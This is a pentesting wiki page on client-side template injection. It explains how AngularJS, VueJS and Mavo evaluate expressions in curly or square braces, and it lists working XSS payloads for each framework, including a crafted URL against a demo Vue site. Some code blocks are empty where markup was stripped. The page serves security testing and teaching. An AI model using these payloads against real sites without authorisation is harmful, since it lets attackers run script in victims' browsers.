# Client Side Template Injection (CSTI)

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## Summary It is like a [**Server Side Template Injection**](/dashboard/pentesting-web/ssti-server-side-template-injection.md) but in the **client**. The **SSTI** can allow you to **execute code** on the remote server, the **CSTI** could allow you to **execute arbitrary JavaScript** code in the victim. The way to **test** for this vulnerability is very **similar** as in the case of **SSTI**, the interpreter is going to expect something to execute **between doubles keys** and will execute it. For example using something like: `{{ 7-7 }}` if the server is **vulnerable** you will see a `0` and if not you will see the original: `{{ 7-7 }}` ## AngularJS AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the **`ng-app`** attribute (also known as an AngularJS directive). When a directive is added to the HTML code, **you can execute JavaScript expressions within double curly braces**.\ For example, if your **input** is being **reflected** inside the **body** of the HTML and the body is defined with `ng-app`: **``** You can **execute arbitrary JavaScript** code using curly braces **adding** to the **body**: ```javascript {{$on.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}}

``` You can find a very **basic online example** of the vulnerability in **AngularJS** in {% hint style="danger" %} [**Angular 1.6 removed the sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) so from this version a payload like `{{constructor.constructor('alert(1)')()}}` or `` should work. {% endhint %} ## VueJS You can find a **vulnerable vue.js** implementation in [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\ Working payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor$%27alert\(%22foo%22$%27\)%7D%7D) And the **source code** of the vulnerable example here: ```markup ">

aaa

``` A really good post on CSTI in VUE can be found in ### **V3** ``` {{_openBlock.constructor('alert(1)')()}} ``` Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ### **V2** ``` {{constructor.constructor('alert(1)')()}} ``` Credit: [Mario Heiderich](https://twitter.com/cure53berlin) **Check more VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) ## Mavo Payload: ``` [7*7] [(1,alert)(1)]

[self.alert(1)] javascript:alert(1)%252f%252f..%252fcss-images [Omglol mod 1 mod self.alert (1) andlol] [''=''or self.alert(lol)] test

lolxself.alert('lol')lolx

test [self.alert(1)mod1] ``` **More payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) ## **Brute-Force Detection List** {% embed url="" %}

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